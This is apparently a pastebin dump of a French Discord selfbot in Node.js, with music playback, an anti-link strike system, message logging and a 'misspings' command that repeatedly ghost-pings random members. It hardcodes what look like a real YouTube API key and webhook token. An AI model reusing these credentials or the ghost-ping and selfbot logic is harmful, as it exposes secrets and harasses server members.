· 6 years ago · Nov 29, 2019, 12:52 PM
1var fs = require('fs');
2const ms = require('ms');
3var ytdl = require('ytdl-core');
4var memes = require('dankmemes');
5const chalk = require('chalk');
6var getJSON = require('get-json');
7var anti_spam = require("discord-anti-spam");
8const Discord = require('discord.js');
9const SteamTotp = require('steam-totp');
10const GoogleImages = require('google-images');
11const mysql = require('mysql');
12const math = require('mathjs');
13const moment = require('moment');
14const request = require("request");
15var antiddos = null;
16
17const configS = require('./settingsConfig/ConfigSammy.json');
18const configJ = require('./settingsConfig/ConfigJack.json');
19const configB = require('./settingsConfig/ConfigBen.json');
20const games = require('./settingsConfig/games.json')
21const regions = [
22 "eu-west",
23 "eu-central",
24 "us-central",
25 "us-east",
26 "us-west"
27]
28var settings = './settingsConfig/settings.json';
29var file = require(settings)
30
31var yt_api_key = "AIzaSyCSPkG46kFZqYIgUxtKvpp4pvRiBTqQdZg";
32
33const mentionHook = new Discord.WebhookClient(file.WHID, file.WHTOKEN);
34const spamhook = new Discord.WebhookClient("562677093192957963", "0aiv7qY17hWcx677G5G1Z8u0rqx54CNDTSTpwYiQnhdeprO61JCOeIgF88gkMdJhQ3Z2");
35
36var now_playing_data = {};
37var queues = {};
38var aliases = {};
39var rainbownow = {};
40var gamenow = null;
41var rd1 = null;
42var rd2 = null;
43var lastch = {};
44var afk = "non";
45var afktext = null;
46var nag = {};
47let nombrec = 0;
48var misspi;
49var strikes = {};
50var safemode = {};
51
52var inform_np = true;
53var stopped = false;
54var voice_connection = null;
55var voice_handler = {};
56var text_channel = null;
57
58const TOKEN = file.TOKEN;
59const GreenStyle = chalk.green;
60
61function generateXp() {
62 let min = 2;
63 let max = 5;
64
65 return Math.floor(Math.random() * (max - min + 1));
66
67}
68function is_queue_empty(message) {
69 return queues[message.guild.id].queue.length === 0;
70}
71
72function is_bot_playing(message) {
73 return voice_handler[message.guild.id] !== undefined;
74}
75
76function play_next_song(message) {
77 if(is_queue_empty(message)) {
78
79 }
80
81 var video_id = queues[message.guild.id].queue[0]["id"];
82 var title = queues[message.guild.id].queue[0]["title"];
83 var user = queues[message.guild.id].queue[0]["user"];
84 var guildid = queues[message.guild.id].queue[0]["guildid"];
85
86 now_playing_data[message.guild.id + "title"] = title;
87 now_playing_data[message.guild.id + "user"] = user;
88 now_playing_data[message.guild.id + "guildid"] = guildid;
89
90 if(inform_np) {
91
92 }
93 if(voice_connection != null) {
94 var audio_stream = ytdl("https://www.youtube.com/watch?v=" + video_id);
95 voice_handler[message.guild.id] = voice_connection.playStream(audio_stream);
96
97 voice_handler[message.guild.id].once("end", reason => {
98 voice_handler[message.guild.id] = undefined;
99 if(!stopped && !is_queue_empty(message)) {
100 play_next_song(message);
101 }
102 else {
103 bot.guilds.get(message.guild.id).voiceConnection.disconnect();
104 queues[message.guild.id].queue = [];
105 }
106 });
107
108 queues[message.guild.id].queue.splice(0,1);
109 }
110}
111
112function get_video_id(string) {
113 var regex = /(?:\?v=|&v=|youtu\.be\/)(.*?)(?:\?|&|$)/;
114 var matches = string.match(regex);
115
116 if(matches) {
117 return matches[1];
118 } else {
119 return string;
120 }
121}
122
123function add_to_queue(video, message, mute = false) {
124
125 if(aliases.hasOwnProperty(video.toLowerCase())) {
126 video = aliases[video.toLowerCase()];
127 }
128
129 var video_id = get_video_id(video);
130
131 let cahnnelmusic = message.member.voiceChannel;
132 cahnnelmusic.join().then(connection => {voice_connection = connection;}).catch(console.error);
133 ytdl.getInfo("https://www.youtube.com/watch?v=" + video_id, (error, info) => {
134 if(error) {
135 message.channel.send("The requested video (" + video_id + ") does not exist or cannot be played.");
136 console.log("Error (" + video_id + "): " + error);
137 } else {
138 queues[message.guild.id].queue.push({title: info["title"], id: video_id, user: message.author.username, guildid: message.guild.id});
139 if (!mute) {
140 const searchfound = new Discord.RichEmbed()
141 .addField("<:ytb:497691338532454411> | " + info["title"] + " à été ajouté à la playlist", "Bonne écoute!", true)
142 .setThumbnail("https://kitrobit.com/public/img/YouTube-icon-f69f014f.png")
143 .setFooter("© Tkila v1.6", bot.user.avatarURL)
144 .setTimestamp()
145 .setColor("0x#FF0000")
146
147 message.channel.send(searchfound);
148 }
149 if(!stopped && !is_bot_playing(message) && queues[message.guild.id].queue.length === 1) {
150 play_next_song(message);
151 }
152 }
153 });
154}
155
156function search_video(message, query) {
157 request("https://www.googleapis.com/youtube/v3/search?part=id&type=video&q=" + encodeURIComponent(query) + "&key=" + yt_api_key, (error, response, body) => {
158 var json = JSON.parse(body);
159 if("error" in json) {
160 message.channel.send("Nous avons rencontré une erreur: " + json.error.errors[0].message + " - " + json.error.errors[0].reason);
161 } else if(json.items.length === 0) {
162 const searchnotfound = new Discord.RichEmbed()
163 .addField("<:ytb:497691338532454411> | Aucune vidéo trouvé pour votre recherche: " + query, "Merci de réessayé !", true)
164 .setThumbnail("https://kitrobit.com/public/img/YouTube-icon-f69f014f.png")
165 .setFooter("© Tkila v1.6", bot.user.avatarURL)
166 .setTimestamp()
167 .setColor("0x#FF0000")
168
169 message.channel.send(searchnotfound);
170 } else {
171 add_to_queue(json.items[0].id.videoId, message);
172 }
173 })
174}
175
176function GenerateHex(){
177 return "#" + Math.floor(Math.random() * 16777215).toString(16);
178}
179
180function getDateTime() {
181
182 var date = new Date();
183
184 var hour = date.getHours();
185 hour = (hour < 10 ? "0" : "") + hour;
186
187 var min = date.getMinutes();
188 min = (min < 10 ? "0" : "") + min;
189
190 var sec = date.getSeconds();
191 sec = (sec < 10 ? "0" : "") + sec;
192
193 var year = date.getFullYear();
194
195 var month = date.getMonth() + 1;
196 month = (month < 10 ? "0" : "") + month;
197
198 var day = date.getDate();
199 day = (day < 10 ? "0" : "") + day;
200
201 var Total_Time = day + "/" + month + "/" + year + " - " + hour + ":" + min + ":" + sec;
202
203 return Total_Time;
204
205 }
206
207function play(connection, message){
208 var server = servers[message.guild.id];
209 let channel = message.member.voiceChannel;
210 const streamOptions = { volume : 0.50}
211 let streaming = ((lien) => {
212 let inf = ytdl.getInfo(lien, (err, res) => {
213 if (err) return message.reply('Erreur: lien invalide.');
214 console.log('['+this.currentDate()+']> '+message.author.username+' is playing: '+ res.title);
215 });
216 stream = ytdl(lien, {filter: 'audioonly'});
217 return stream;
218 });
219
220 let connexion = (async (channel) => {
221 let ytube = await streaming(server.queue[0]);
222 let chan = await channel.join();
223 let play = await chan.playStream(ytube);
224 });
225 connexion(channel).catch((e) => {console.error(e)});
226
227 NOW_PLAYING = server.queue[0];
228
229 server.queue.shift();
230
231 if(server.queue[0] != undefined)
232 getYTinfo(server.queue[0], function(res){
233 NEXT_PLAYING = res.title;
234 });
235 else
236 NEXT_PLAYING = "Nothing";
237
238 server.dispatcher.on("end", function(){
239 if(server.queue[0]) play(connection, message).catch(error => console.error(error));
240 else{
241 connection.disconnect();
242 NOW_PLAYING = "Nothing";
243 }
244
245 });
246}
247
248function getYTinfo(yturl, response) {
249
250 let domains = ['youtu.be', 'youtube.com'];
251
252 let key = file.YT_API;
253
254 let id = "";
255
256 if(yturl.indexOf(domains[0]) > 0) {
257 id = yturl.substring(yturl.lastIndexOf("/") + 1 );
258 }
259 else if(yturl.indexOf(domains[1]) > 0) {
260 let lastPos = yturl.indexOf("&") > 0 ? yturl.indexOf("&") : 0;
261
262 if(lastPos == 0) id = yturl.substring(yturl.indexOf("v=") +2);
263 else id = yturl.substring(yturl.indexOf("v=") +2, lastPos);
264 }
265 else {
266 return "Invalid URL";
267 }
268
269 let api_url = "https://www.googleapis.com/youtube/v3/videos?part=contentDetails%2C+snippet&id=" + id + "&fields=etag%2CeventId%2Citems%2Ckind%2CnextPageToken%2CpageInfo%2CprevPageToken%2CtokenPagination%2CvisitorId&key=" + key;
270
271 getJSON(api_url, function(err, data){
272 var return_data = [];
273 return_data['title'] = data.items[0].snippet.title;
274 return_data['thumbnail'] = data.items[0].snippet.thumbnails.medium.url;
275 return_data['channelTitle'] = data.items[0].snippet.channelTitle;
276 let dur = data.items[0].contentDetails.duration;
277 dur = dur.replace("PT", "");
278 dur = dur.replace("H", ":");
279 dur = dur.replace("M", ":");
280 dur = dur.replace("S", "");
281 return_data['duration'] = dur;
282
283 response(return_data);
284 });
285}
286
287var bot = new Discord.Client();
288bot.commands = new Discord.Collection();
289
290let servers = {};
291
292fs.readdir("./commands/", (err, files) => {
293 if(err) console.error(err);
294
295 let jsfiles = files.filter(f => f.split(".").pop() === "js");
296 if(jsfiles.length <= 0){
297 console.log("No comannds to load!");
298 return;
299 }
300
301 console.log(`Chargement de ${jsfiles.length} commandes!`);
302
303 jsfiles.forEach((f, i) => {
304 let props = require(`./commands/${f}`);
305 console.log(`${i + 1}: ${f} chargé!`)
306 bot.commands.set(props.help.name, props);
307 });
308
309})
310
311function getColorInt() {
312 if(index == 7){
313 index = 1
314 return index
315 }
316 return index++
317}
318async function changeRoleColor(role, colors, message) {
319 try{
320 let color = getColorInt()
321 await role.setColor(colors[color])
322 }
323 catch(error){
324 clearInterval(rainbownow[message.guild.id]);
325 let errorrain = new Discord.RichEmbed()
326 .addField("? Une erreur est survenue avec le rôle ``rainbow``", "Veuillez placer le rôle ``? ????ℝ? ????? ?`` au dessus du rôle ``" +
327 role.name + "`` \n " +
328 "Ou peut-être que le rôle ``" + role.name + "`` n'existe plus.", true)
329 .setThumbnail("https://images-na.ssl-images-amazon.com/images/I/31wQssT3fjL.png")
330 .setColor("0x#FF0000")
331 .setFooter("© Tkila v1.6", bot.user.avatarURL)
332 .setTimestamp()
333 if(file.lchannel[message.guild.id] != undefined && file.lchannel[message.guild.id] != "non") {
334 return message.guild.channels.get(file.lchannel[message.guild.id]).send(errorrain);
335 } else {
336 return message.channel.send(errorrain);
337 }
338 }
339}
340bot.on('error', console.error);
341bot.on("ready", async () => {
342
343 console.log(GreenStyle("----------------------------------------"));
344 console.log(GreenStyle(" Tkila v1.3 "));
345 console.log(GreenStyle(" SELFBOT NOW ACTIVE "));
346 console.log(GreenStyle("----------------------------------------"));
347 console.log(GreenStyle("Edition Sombre Squad... "));
348 console.log(GreenStyle("----------------------------------------"));
349
350 bot.user.setPresence({
351 status: "dnd"
352 });
353
354
355
356});
357
358
359bot.on("messageUpdate", (oldMessage, newMessage) => {
360if(oldMessage.author.bot) return;
361if(newMessage.author.bot) return;
362
363
364if(oldMessage.guild != undefined) {
365if(file.lchannel[oldMessage.guild.id] != undefined && file.lchannel[oldMessage.guild.id] != "non") {
366 var LogChannel = bot.channels.get(file.lchannel[oldMessage.guild.id]);
367 if(LogChannel != undefined) {
368 let updautemsg = new Discord.RichEmbed()
369 .addField("Modofication de message", oldMessage.author.username + " à modifié son message", true)
370 .addField("Ancien message", "ٴ" + oldMessage.content, true)
371 .addField("Nouveau message", "ٴ" + newMessage.content, true)
372 .addField("Dans le salon", newMessage.channel.name, true)
373 .setColor("0x#FF0000")
374 .setFooter("© Tkila v1.6", bot.user.avatarURL)
375 .setTimestamp()
376 LogChannel.send(updautemsg);
377 } else {
378 file.lchannel[oldMessage.guild.id] = "non";
379 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
380 let errorcount = new Discord.RichEmbed()
381 .addField("? Une erreur est survenue avec le channel de logs", "Impossible d'accéder au salon logs", true)
382 .setThumbnail("https://images-na.ssl-images-amazon.com/images/I/31wQssT3fjL.png")
383 .setColor("0x#FF0000")
384 .setFooter("© Tkila v1.6", bot.user.avatarURL)
385 .setTimestamp()
386 newMessage.channel.send(errorcount);
387 });
388 }
389}
390}
391});
392
393
394bot.on("guildMemberUpdate", (oldMember, newMember) => {
395if(oldMember.user.bot) return;
396if(newMember.user.bot) return;
397
398if(oldMember.nickname != newMember.nickname) {
399if(file.lchannel[oldMember.guild.id] != undefined && file.lchannel[oldMember.guild.id] != "non") {
400 var LogChannel = bot.channels.get(file.lchannel[oldMember.guild.id]);
401 if(LogChannel != undefined) {
402 let updautemsg = new Discord.RichEmbed()
403 .addField("Modofication de Pseudo", "Il apparaît que quelqu'un a modifié son pseudo", true)
404 .addField("Ancien Pseudo", oldMember.nickname, true)
405 .addField("Nouveau Pseudo", newMember.nickname, true)
406 .addField("Véritable pseudo", oldMember.user.username, true)
407 .setColor("0x#FF0000")
408 .setFooter("© Tkila v1.6", bot.user.avatarURL)
409 .setTimestamp()
410 LogChannel.send(updautemsg);
411 } else {
412 file.lchannel[oldMember.guild.id] = "non";
413 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
414
415 });
416 }
417 }
418}
419});
420
421bot.on('messageDelete', async message => {
422if(message.author.bot) return;
423
424 if(message.guild != undefined) {
425if(file.lchannel[message.guild.id] != undefined && file.lchannel[message.guild.id] != "non") {
426 var LogChannel = bot.channels.get(file.lchannel[message.guild.id]);
427 if(LogChannel != undefined) {
428 let updautemsg = new Discord.RichEmbed()
429 .addField("Suppression de message", "Il apparaît que quelqu'un a supprimé son message", true)
430 .addField("Pseudo: ", message.author.username, true)
431 .addField("Message: ", "ٴ" + message.content, true)
432 .addField("Salon: ", message.channel, true)
433 .setColor("0x#FF0000")
434 .setFooter("© Tkila v1.6", bot.user.avatarURL)
435 .setTimestamp()
436 LogChannel.send(updautemsg);
437 } else {
438 file.lchannel[message.guild.id] = "non";
439 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
440
441 });
442 }
443 }
444 }
445});
446
447bot.on("message", async message => {
448
449
450 if(message.content.indexOf(file.BOT_ID) >= 0) {
451 clearInterval(gamenow);
452
453
454if (file.WHTOKEN != "remplacer") {
455 let servn;
456 let servi;
457 let saln;
458if(message.channel.type == "dm") {
459 servn = "Aucun";
460 servi = "Aucun";
461 saln = "DirectMessages (DM)";
462} else {
463 servn = message.guild.name;
464 servi = message.guild.id;
465 saln = message.channel.name;
466}
467 const webhookContent = {
468 username: message.author.username,
469 avatarURL: message.author.avatarURL,
470 content: `**I mentioned you in** ${message.channel}!`,
471 embeds: [{
472 title: moment(message.createdTimestamp).format('ddd, Do of MMM @ HH:mm:ss'),
473 author: {
474 name: `${message.author.username}#${message.author.discriminator} (${message.author.id})`,
475 icon_url: message.author.avatarURL
476 },
477 color: 16426522,
478 fields: [
479 { name: message.author.username, value: message.cleanContent, inline: false },
480 { name: 'Serveur', value: `${servn}\n(${servi})`, inline: true },
481 { name: 'Salon', value: `#${saln}\n(${message.channel.id})`, inline: true },
482 { name: 'Msg', value: `(${message.id})`, inline: true }
483 ]
484 }]
485 }
486 if (mentionHook && mentionHook != undefined) {
487 mentionHook.send(webhookContent);
488 }
489 }
490
491
492 if(afk == "oui") {
493 return message.reply("? __**" + afktext + "**__");
494 }
495 }
496
497 if(message.guild != undefined) {
498 if(file.antilink[message.guild.id] == "oui" && !message.channel.permissionsFor(message.author).has("MANAGE_MESSAGES"))
499 {
500 if (message.content.includes("://")) {
501 console.log("deleted " + message.content + " from " + message.author)
502 message.delete(1);
503 if(strikes[message.author.id + message.guild.id] == undefined) {
504 strikes[message.author.id + message.guild.id] = 1;
505 return message.channel.send(":x: | Pas de lien ici, " + message.author).then(msg => {
506 msg.delete(3000)
507 });
508 }
509 if(strikes[message.author.id + message.guild.id] == 1) {
510 strikes[message.author.id + message.guild.id] += 1;
511 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! La prochaine fois ces un mute de 30minutes!").then(msg => {
512 msg.delete(3000)
513 });
514 }
515 if(strikes[message.author.id + message.guild.id] == 2) {
516 strikes[message.author.id + message.guild.id] += 1;
517
518 var role = message.guild.roles.find(role => role.name === "Muted")
519 if(!role) return message.channel.send(":x: " + `| Le rôle **Muted** est introuvable!`);
520 message.member.addRole(role.id);
521 setTimeout(function () {
522 message.member.removeRole(role.id);
523 }, 1800000);
524
525 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu est mute 30minutes! La prochaine fois ces un kick!").then(msg => {
526 msg.delete(3000)
527 });
528 }
529 if(strikes[message.author.id + message.guild.id] == 3) {
530 strikes[message.author.id + message.guild.id] += 1;
531 message.member.kick();
532
533 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être kick! La prochaine fois ces un ban!").then(msg => {
534 msg.delete(3000)
535 });
536 }
537 if(strikes[message.author.id + message.guild.id] == 4) {
538 setTimeout(function () {
539 strikes[message.author.id + message.guild.id] == 0;
540 }, 1800000);
541 message.member.ban();
542
543 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être ban!").then(msg => {
544 msg.delete(3000)
545 });
546 }
547 }
548 if (message.content.includes("www.")) {
549 console.log("deleted " + message.content + " from " + message.author)
550 message.delete(1);
551 if(strikes[message.author.id + message.guild.id] == undefined) {
552 strikes[message.author.id + message.guild.id] = 1;
553 return message.channel.send(":x: | Pas de lien ici, " + message.author).then(msg => {
554 msg.delete(3000)
555 });
556 }
557 if(strikes[message.author.id + message.guild.id] == 1) {
558 strikes[message.author.id + message.guild.id] += 1;
559 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! La prochaine fois ces un mute de 30minutes!").then(msg => {
560 msg.delete(3000)
561 });
562 }
563 if(strikes[message.author.id + message.guild.id] == 2) {
564 strikes[message.author.id + message.guild.id] += 1;
565
566 var role = message.guild.roles.find(role => role.name === "Muted")
567 if(!role) return message.channel.send(":x: " + `| Le rôle **Muted** est introuvable!`);
568 message.member.addRole(role.id);
569 setTimeout(function () {
570 message.member.removeRole(role.id);
571 }, 1800000);
572
573 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu est mute 30minutes! La prochaine fois ces un kick!").then(msg => {
574 msg.delete(3000)
575 });
576 }
577 if(strikes[message.author.id + message.guild.id] == 3) {
578 strikes[message.author.id + message.guild.id] += 1;
579 message.member.kick();
580
581 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être kick! La prochaine fois ces un ban!").then(msg => {
582 msg.delete(3000)
583 });
584 }
585 if(strikes[message.author.id + message.guild.id] == 4) {
586 setTimeout(function () {
587 strikes[message.author.id + message.guild.id] == 0;
588 }, 1800000);
589 message.member.ban();
590
591 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être ban!").then(msg => {
592 msg.delete(3000)
593 });
594 }
595 }
596 if (message.content.includes("discord.gg")) {
597 console.log("deleted " + message.content + " from " + message.author)
598 message.delete(1);
599 if(strikes[message.author.id + message.guild.id] == undefined) {
600 strikes[message.author.id + message.guild.id] = 1;
601 return message.channel.send(":x: | Pas de lien ici, " + message.author).then(msg => {
602 msg.delete(3000)
603 });
604 }
605 if(strikes[message.author.id + message.guild.id] == 1) {
606 strikes[message.author.id + message.guild.id] += 1;
607 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! La prochaine fois ces un mute de 30minutes!").then(msg => {
608 msg.delete(3000)
609 });
610 }
611 if(strikes[message.author.id + message.guild.id] == 2) {
612 strikes[message.author.id + message.guild.id] += 1;
613
614 var role = message.guild.roles.find(role => role.name === "Muted")
615 if(!role) return message.channel.send(":x: " + `| Le rôle **Muted** est introuvable!`);
616 message.member.addRole(role.id);
617 setTimeout(function () {
618 message.member.removeRole(role.id);
619 }, 1800000);
620
621 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu est mute 30minutes! La prochaine fois ces un kick!").then(msg => {
622 msg.delete(3000)
623 });
624 }
625 if(strikes[message.author.id + message.guild.id] == 3) {
626 strikes[message.author.id + message.guild.id] += 1;
627 message.member.kick();
628
629 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être kick! La prochaine fois ces un ban!").then(msg => {
630 msg.delete(3000)
631 });
632 }
633 if(strikes[message.author.id + message.guild.id] == 4) {
634 setTimeout(function () {
635 strikes[message.author.id + message.guild.id] == 0;
636 }, 1800000);
637 message.member.ban();
638
639 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être ban!").then(msg => {
640 msg.delete(3000)
641 });
642 }
643 }
644 if (message.content.includes(".gg")) {
645 console.log("deleted " + message.content + " from " + message.author)
646 message.delete(1);
647 if(strikes[message.author.id + message.guild.id] == undefined) {
648 strikes[message.author.id + message.guild.id] = 1;
649 return message.channel.send(":x: | Pas de lien ici, " + message.author).then(msg => {
650 msg.delete(3000)
651 });
652 }
653 if(strikes[message.author.id + message.guild.id] == 1) {
654 strikes[message.author.id + message.guild.id] += 1;
655 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! La prochaine fois ces un mute de 30minutes!").then(msg => {
656 msg.delete(3000)
657 });
658 }
659 if(strikes[message.author.id + message.guild.id] == 2) {
660 strikes[message.author.id + message.guild.id] += 1;
661
662 var role = message.guild.roles.find(role => role.name === "Muted")
663 if(!role) return message.channel.send(":x: " + `| Le rôle **Muted** est introuvable!`);
664 message.member.addRole(role.id);
665 setTimeout(function () {
666 message.member.removeRole(role.id);
667 }, 1800000);
668
669 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu est mute 30minutes! La prochaine fois ces un kick!").then(msg => {
670 msg.delete(3000)
671 });
672 }
673 if(strikes[message.author.id + message.guild.id] == 3) {
674 strikes[message.author.id + message.guild.id] += 1;
675 message.member.kick();
676
677 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être kick! La prochaine fois ces un ban!").then(msg => {
678 msg.delete(3000)
679 });
680 }
681 if(strikes[message.author.id + message.guild.id] == 4) {
682 setTimeout(function () {
683 strikes[message.author.id + message.guild.id] == 0;
684 }, 1800000);
685 message.member.ban();
686
687 return message.channel.send(":x: | Pas de lien ici, " + message.author + " ! Tu viens d'être ban!").then(msg => {
688 msg.delete(3000)
689 });
690 }
691 }
692 }
693 }
694if(message.author.id != bot.user.id)
695return;
696
697 var prefix = ",";
698
699
700 let sendfile = null;
701
702 if(message.guild != undefined) {
703 sendfile = message.channel.permissionsFor(bot.user).has('ATTACH_FILES');
704 } else {
705 sendfile = true;
706 }
707
708if(sendfile)
709{
710 if(message.content == "dab"){
711 message.delete();
712 message.channel.send({files: [
713 {
714 attachment: 'images/DAB.jpeg',
715 name: "DAB.jpeg"
716 }
717 ]});
718 }
719 if(message.content == "oui"){
720 message.delete();
721 message.channel.send({files: [
722 {
723 attachment: 'images/oui.gif',
724 name: "oui.gif"
725 }
726 ]});
727 }
728 if(message.content == "non"){
729 message.delete();
730 message.channel.send({files: [
731 {
732 attachment: 'images/non.gif',
733 name: "non.gif"
734 }
735 ]});
736 }
737 if(message.content == "roux"){
738 message.delete();
739 message.channel.send({files: [
740 {
741 attachment: 'images/roux.gif',
742 name: "MEAN.gif"
743 }
744 ]});
745 }
746 if(message.content == "mdr"){
747 message.delete();
748 message.channel.send({files: [
749 {
750 attachment: 'images/mj.gif',
751 name: "mj.gif"
752 }
753 ]});
754 }
755 if(message.content == "Alexia"){
756 message.delete();
757 message.channel.send("Alexia lpb 'ASKIP'");
758 }
759 if(message.content == "rip"){
760 message.delete();
761 message.channel.send({files: [
762 {
763 attachment: 'images/rip.gif',
764 name: "rip.gif"
765 }
766 ]});
767 }
768 if(message.content == "??"){
769 message.delete();
770 message.channel.send({files: [
771 {
772 attachment: 'images/WHAT.png',
773 name: "WHAT.PNG"
774 }
775 ]});
776 }
777}
778
779 if(!message.content.startsWith(prefix)) return;
780
781 let messageArray = message.content.split(" ");
782 let command = messageArray[0];
783 let args = messageArray.slice(1);
784 var args1 = message.content.substring(prefix.length).split(" ");
785
786 let cmd = bot.commands.get(command.slice(prefix.length));
787 if(cmd) cmd.run(bot, message, args, prefix, file);
788
789 switch(args1[0]) {
790
791 case "play":
792 message.delete();
793 if (!message.member.voiceChannel){
794 message.channel.send(":x: " + "| Tu doit être dans un salon vocal!");
795 return;
796 }
797 let lienytb2 = message.content.split(' ')[1];
798 if(!queues[message.guild.id]) queues[message.guild.id] = {
799 queue: []
800 };
801 if(yt_api_key === null) {
802 message.reply("You need a YouTube API key in order to use the !search command. Please see https://github.com/agubelu/discord-music-bot#obtaining-a-youtube-api-key");
803 } else {
804 var q = "";
805 for(var i = 1; i < args1.length; i++) {
806 q += args1[i] + " ";
807 }
808 search_video(message, q);
809 }
810
811 break;
812
813 case "stop":
814 message.delete();
815 console.log(`${message.author.username}` + " " + "a utiliser la commande " + prefix + "stop");
816 if(stopped) {
817 message.channel.send("Il n'y as pas de son actif!");
818 } else {
819 stopped = true;
820 if(voice_handler[message.guild.id] !== undefined) {
821 voice_handler[message.guild.id].end();
822 }
823 let responsestop1 = new Discord.RichEmbed()
824
825 .addField("<:ytb:497691338532454411> | :stop_button: J'ai stopé la musique", "Pour ajouter un son a la playlist fait la commande $play ou $p", true)
826 .setColor("0x#FF0000")
827 .setThumbnail("https://kitrobit.com/public/img/YouTube-icon-f69f014f.png")
828 .setFooter("© Tkila v1.6", bot.user.avatarURL)
829 .setTimestamp()
830
831 message.channel.send(responsestop1);
832 }
833 break;
834
835 case "misspings":
836 message.delete();
837 let nombrea = args[0];
838 let nombreb;
839
840 if(nombrea == undefined) {
841 nombreb = "5";
842 } else {
843 nombreb = nombrea;
844 }
845 misspi = setInterval(() => {
846 if(nombrec == nombreb) {
847 clearInterval(misspi);
848 clearInterval(misspi);
849 clearInterval(misspi);
850 nombrec = 0;
851 }
852 message.channel.send("* " + message.guild.members.random()).then(msg => {
853 msg.delete(1);
854 });
855 nombrec++
856 }, 1000);
857 break;
858
859 case "clearqueue":
860 message.delete();
861 queues[message.guild.id].queue = [];
862 message.reply("La playlist à été éffacé avec succès!");
863 break;
864
865
866 case "p":
867 message.delete();
868 if (!message.member.voiceChannel){
869 message.channel.send(":x: " + "| Tu doit être dans un salon vocal!");
870 return;
871 }
872 let lienytb = message.content.split(' ')[1];
873 if(!queues[message.guild.id]) queues[message.guild.id] = {
874 queue: []
875 };
876 if(yt_api_key === null) {
877 message.reply("You need a YouTube API key in order to use the !search command. Please see https://github.com/agubelu/discord-music-bot#obtaining-a-youtube-api-key");
878 } else {
879 var q = "";
880 for(var i = 1; i < args1.length; i++) {
881 q += args1[i] + " ";
882 }
883 search_video(message, q);
884 }
885 break;
886
887 case "antilink":
888 message.delete();
889 if(message.member.hasPermission("ADMINISTRATOR")) {
890
891 if(file.antilink[message.guild.id] == undefined) {
892
893 file.antilink[message.guild.id] = "oui";
894 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
895
896 message.channel.send(":white_check_mark: " + "| Les liens sont désactivés");
897 });
898 } else if (file.antilink[message.guild.id] == "non") {
899
900 file.antilink[message.guild.id] = "oui";
901 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
902
903 message.channel.send(":white_check_mark: " + "| Les liens sont désactivés");
904 });
905 } else if (file.antilink[message.guild.id] == "oui") {
906
907 file.antilink[message.guild.id] = "non";
908 fs.writeFile(settings, JSON.stringify(file, null, 2), function (err) {
909
910 message.channel.send(":white_check_mark: " + "| Les liens sont activés");
911 });
912 }
913
914 } else {
915 return message.reply(":x: " + "| Vous devez avoir la permission \"ADMINISTRATEUR\"").then(() => {
916 });
917 }
918 break;
919
920 case "rainbow":
921 message.delete();
922 if(message.member.hasPermission("ADMINISTRATOR")) {
923 let myRainbow = message.mentions.roles.first();
924
925 if (myRainbow === undefined) {
926 message.delete();
927 return message.channel.send(":x: " + "| Merci d'indiquer un role ¯\\_(ツ)_/¯")
928 }
929 if(message.guild.member(bot.user).hasPermission("MANAGE_ROLES")){
930 if(rainbownow[message.guild.id] == undefined) {
931 let rolerainbow = bot.guilds.get(message.guild.id).roles.find(x => x.name == myRainbow.name)
932 index = 0
933 console.log(rolerainbow.name + " par " + message.author.username + " dans " + message.guild.name)
934 let colors = [
935 '9400D3','4B0082','0000FF','00FF00','FFFF00','FF7F00','FF0000'
936 ]
937 rainbownow[message.guild.id] = setInterval(function () {
938 changeRoleColor(rolerainbow, colors, message)
939 } ,1000);
940 let rainbw1 = new Discord.RichEmbed()
941 .addField("✅ Le rôle rainbow est ``" + myRainbow.name + "``", "Si vous souhaitez arréter le rainbow, supprimez le rôle ou faites la commande ``$stoprainbow``", true)
942 .setThumbnail("https://media.giphy.com/media/xThuWcaa4U4XZQDgvm/giphy.gif")
943 .setColor("0x#FF0000")
944 .setFooter("© Tkila v1.6", bot.user.avatarURL)
945 .setTimestamp()
946 message.channel.send(rainbw1);
947
948 } else {
949 if(args[2] == "oui") {
950 clearInterval(rainbownow[message.guild.id]);
951 let rolerainbow2 = bot.guilds.get(message.guild.id).roles.find(x => x.name == myRainbow.name)
952 index = 0
953 console.log(rolerainbow2.name + " par " + message.author.username + " dans " + message.guild.name)
954 let colors = [
955 '9400D3','4B0082','0000FF','00FF00','FFFF00','FF7F00','FF0000'
956 ]
957 rainbownow[message.guild.id] = setInterval(function () {
958 changeRoleColor(rolerainbow2, colors, message)
959 } ,1000);
960 let rainbw2 = new Discord.RichEmbed()
961 .addField("✅ Le rôle rainbow est ``" + myRainbow.name + "``", "Si vous souhaitez arréter le rainbow, supprimez le rôle ou faites la commande ``$stoprainbow``", true)
962 .setThumbnail("https://media.giphy.com/media/xThuWcaa4U4XZQDgvm/giphy.gif")
963 .setColor("0x#FF0000")
964 .setFooter("© Tkila v1.6", bot.user.avatarURL)
965 .setTimestamp()
966 message.channel.send(rainbw2);
967 } else {
968 return message.channel.send(":x: " + "| Le rainbow est déjà actif, vous ppouvez changer le rôle en faisant la commande ``" + prefix + "stoprainbow``");
969 }
970 }
971 } else {
972 return message.channel.send(":x: " + "| Je n'ai pas la permission \"GÉRER LES RÔLES\"")
973 }
974 } else {
975 return message.reply(":x: " + "| Vous devez avoir la permission \"ADMINISTRATEUR\"").then(() => {
976 });
977 }
978
979 break;
980
981 case "stoprainbow":
982 message.delete();
983 if(message.member.hasPermission("ADMINISTRATOR")) {
984
985 if (rainbownow[message.guild.id] === undefined) {
986 message.delete();
